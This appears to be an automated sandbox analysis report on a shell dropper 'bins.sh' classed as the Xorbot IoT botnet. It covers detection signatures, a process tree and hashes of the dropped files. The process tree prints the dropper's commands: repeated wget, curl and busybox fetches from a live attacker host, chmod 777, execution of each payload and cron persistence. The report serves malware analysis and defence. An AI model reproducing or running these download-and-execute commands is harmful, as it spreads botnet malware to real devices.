Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

3

bins.sh

debian-9-armhf

4

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    129s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    10/12/2024, 16:52

Sharing

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241210-vdd3vsvrgm
  • SHA256 7342b014356a9d5553caf8076aa25c9e94846f563260b0e4777bcce77ca62eaf
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1368) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 23 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:722
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:730
        • /bin/chmod
          chmod 777 fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          2⤵
          • File and Directory Permissions Modification
          PID:731
        • /tmp/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          ./fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          2⤵
          • Executes dropped EXE
          PID:732
        • /bin/rm
          rm fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          2⤵
            PID:734
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:735
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:736
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:738
          • /bin/chmod
            chmod 777 Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
            2⤵
            • File and Directory Permissions Modification
            PID:739
          • /tmp/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
            ./Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
            2⤵
            • Executes dropped EXE
            PID:740
          • /bin/rm
            rm Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
            2⤵
              PID:742
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:743
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:744
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:756
            • /bin/chmod
              chmod 777 uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
              2⤵
              • File and Directory Permissions Modification
              PID:762
            • /tmp/uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
              ./uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
              2⤵
              • Executes dropped EXE
              PID:763
            • /bin/rm
              rm uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
              2⤵
                PID:766
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:767
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:776
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:789
              • /bin/chmod
                chmod 777 55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
                2⤵
                • File and Directory Permissions Modification
                PID:795
              • /tmp/55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
                ./55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
                2⤵
                • Executes dropped EXE
                PID:797
              • /bin/rm
                rm 55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
                2⤵
                  PID:800
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:801
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:808
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:810
                • /bin/chmod
                  chmod 777 tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c
                  2⤵
                  • File and Directory Permissions Modification
                  PID:811
                • /tmp/tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c
                  ./tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c
                  2⤵
                  • Executes dropped EXE
                  PID:812
                • /bin/rm
                  rm tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c
                  2⤵
                    PID:814
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/9G3MwrkyY1lDX8fIfAzIunPGk3T3Fd1BxB
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:815
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/9G3MwrkyY1lDX8fIfAzIunPGk3T3Fd1BxB
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:816
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/9G3MwrkyY1lDX8fIfAzIunPGk3T3Fd1BxB
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:818
                  • /bin/chmod
                    chmod 777 9G3MwrkyY1lDX8fIfAzIunPGk3T3Fd1BxB
                    2⤵
                    • File and Directory Permissions Modification
                    PID:819
                  • /tmp/9G3MwrkyY1lDX8fIfAzIunPGk3T3Fd1BxB
                    ./9G3MwrkyY1lDX8fIfAzIunPGk3T3Fd1BxB
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:820
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:822
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:823
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:824
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:825
                      • /bin/rm
                        rm 9G3MwrkyY1lDX8fIfAzIunPGk3T3Fd1BxB
                        2⤵
                          PID:827
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/bNAGWS2TO99ka1F3Gnue9xPTRdGYpiEtmb
                          2⤵
                          • System Network Configuration Discovery
                          PID:830
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/bNAGWS2TO99ka1F3Gnue9xPTRdGYpiEtmb
                          2⤵
                          • System Network Configuration Discovery
                          PID:911
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/bNAGWS2TO99ka1F3Gnue9xPTRdGYpiEtmb
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:912
                        • /bin/chmod
                          chmod 777 bNAGWS2TO99ka1F3Gnue9xPTRdGYpiEtmb
                          2⤵
                          • File and Directory Permissions Modification
                          PID:914
                        • /tmp/bNAGWS2TO99ka1F3Gnue9xPTRdGYpiEtmb
                          ./bNAGWS2TO99ka1F3Gnue9xPTRdGYpiEtmb
                          2⤵
                          • Executes dropped EXE
                          PID:915
                        • /bin/rm
                          rm bNAGWS2TO99ka1F3Gnue9xPTRdGYpiEtmb
                          2⤵
                            PID:917
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/LM7kYmt6GjCbhZsWbhAFeXCbIO7EFtHBoI
                            2⤵
                            • System Network Configuration Discovery
                            PID:918
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/LM7kYmt6GjCbhZsWbhAFeXCbIO7EFtHBoI
                            2⤵
                            • System Network Configuration Discovery
                            PID:923

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

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                              Downloads

                              55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
                              • Path /tmp/55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
                              • Size 177KB
                              • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              9G3MwrkyY1lDX8fIfAzIunPGk3T3Fd1BxB
                              • Path /tmp/9G3MwrkyY1lDX8fIfAzIunPGk3T3Fd1BxB
                              • Size 151KB
                              • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
                              • Path /tmp/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
                              • Size 107KB
                              • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              bNAGWS2TO99ka1F3Gnue9xPTRdGYpiEtmb
                              • Path /tmp/bNAGWS2TO99ka1F3Gnue9xPTRdGYpiEtmb
                              • Size 151KB
                              • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
                              • Path /tmp/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
                              • Size 122KB
                              • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c
                              • Path /tmp/tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c
                              • Size 117KB
                              • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
                              • Path /tmp/uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
                              • Size 99KB
                              • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              tmp.GaE27U
                              • Path /var/spool/cron/crontabs/tmp.GaE27U
                              • Size 210B
                              • SHA256 c95eedf27c3d630a395916f4b484eeee17743a822683002cadf01afe66f8b36f
                              • MD5 SHA1 SHA512
                              Submit Download